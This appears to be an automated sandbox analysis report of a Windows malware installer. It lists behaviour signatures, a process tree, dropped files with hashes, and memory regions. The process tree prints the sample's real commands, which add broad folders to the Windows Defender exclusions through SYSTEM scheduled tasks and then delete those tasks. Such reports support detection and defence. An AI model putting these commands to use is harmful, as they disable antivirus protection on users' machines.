Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/10/2026, 02:04

General

  • Target
    install.2.0.04.exe
  • Size 30.5MB
  • Sample261024-chkr4ae19y
  • SHA256 42dde4d593d7740f9db0112012cc562c7049bece483ec0ec6a52102ee360ea08
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 8 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4460
  • C:\Users\Public\vaCECQ\8DjDvf.exe
    C:\Users\Public\vaCECQ\8DjDvf.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5468
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vaCECQ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5544
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vaCECQ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5176
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:760
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2324
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5592
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2284
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2228
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4904
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:832
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4892
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5960
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1208
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:6140
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2812
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2900
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5608
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:900
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2840
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3316
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4996
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vaCECQ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5324
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vaCECQ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3624
                      • C:\Users\Public\vaCECQ\8DjDvf.exe
                        "C:\Users\Public\vaCECQ\8DjDvf.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • Drops file in System32 directory
                        PID:5100
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2628
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4428
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4664
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5756
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5624

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 0c0c7b6ffee9f2f1b7d688b2c57db7c9638ba814f36d7a1bdb98f5458cc13c84
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 e8ff3ea7013767d4d43b2e29aa6318dfdaa4ed7bef397acd82cea62836066316
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 7cfd00ccc457ef430e576c833f722316a29a61a271544ef5bd3a7100cfa8164b
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 eb3b9b50bef6df1f3e3275db749b1c2fca6cccd6e0bcc755431ef76831412f91
                              • MD5 SHA1 SHA512 TLSH

                              8DjDvf.exe

                              • Path C:\Users\Public\vaCECQ\8DjDvf.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\vaCECQ\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 7382f3ba1a99a7bbf92f825fb92be05ff9cbcd213cf76902408f46230666338b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\vaCECQ\adoresd.dat
                              • Size 4.8MB
                              • SHA256 05c39edae5a16b441be834a0acf097bcd8ffc6422887c2ab360654e8d0b4f2e1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\vaCECQ\msadox.tb
                              • Size 8KB
                              • SHA256 2a9b6c5f2404b3c1b787616b8673976ef5d2cb9010d6d4c0ae5e47b5659e1076
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              SiPolicy.p7b

                              • Path C:\Windows\System32\CodeIntegrity\SiPolicy.p7b
                              • Size 24KB
                              • SHA256 b3f17065ed63b17ffef175f2979907d8eef69a76ba4cbd1d9785035a0b1f0a10
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/4460-525-0x00007FFCB3C20000-0x00007FFCB3C30000-memory.dmp

                              memory/4460-524-0x0000000000510000-0x000000000051E000-memory.dmp

                              memory/4460-504-0x00007FFCB3C20000-0x00007FFCB3C30000-memory.dmp

                              memory/4460-0-0x0000000000510000-0x000000000051E000-memory.dmp

                              memory/4460-2-0x0000000000520000-0x000000000052C000-memory.dmp

                              memory/4460-1-0x0000000000510000-0x000000000051E000-memory.dmp

                              memory/5100-609-0x0000025B44320000-0x0000025B443AA000-memory.dmp

                              memory/5100-593-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-612-0x0000025B44320000-0x0000025B443AA000-memory.dmp

                              memory/5100-610-0x0000025B44320000-0x0000025B443AA000-memory.dmp

                              memory/5100-599-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-592-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-594-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-611-0x0000025B44320000-0x0000025B443AA000-memory.dmp

                              memory/5100-586-0x00007FFCC25C0000-0x00007FFCC25C2000-memory.dmp

                              memory/5100-591-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-587-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-584-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-581-0x00007FFCA49F0000-0x00007FFCA4F0E000-memory.dmp

                              memory/5100-606-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-617-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5100-619-0x0000025B44DD0000-0x0000025B456A7000-memory.dmp

                              memory/5468-536-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-560-0x000001D919100000-0x000001D91914E000-memory.dmp

                              memory/5468-561-0x000001D919260000-0x000001D9192EA000-memory.dmp

                              memory/5468-562-0x000001D919260000-0x000001D9192EA000-memory.dmp

                              memory/5468-563-0x000001D919260000-0x000001D9192EA000-memory.dmp

                              memory/5468-564-0x000001D919260000-0x000001D9192EA000-memory.dmp

                              memory/5468-555-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-556-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-596-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-550-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-546-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-545-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-544-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-543-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-539-0x000001D918430000-0x000001D918D07000-memory.dmp

                              memory/5468-538-0x00007FFCC25C0000-0x00007FFCC25C2000-memory.dmp

                              memory/5468-532-0x00007FFCA49F0000-0x00007FFCA4F0E000-memory.dmp

                              memory/5468-530-0x00007FFCC25B0000-0x00007FFCC25B2000-memory.dmp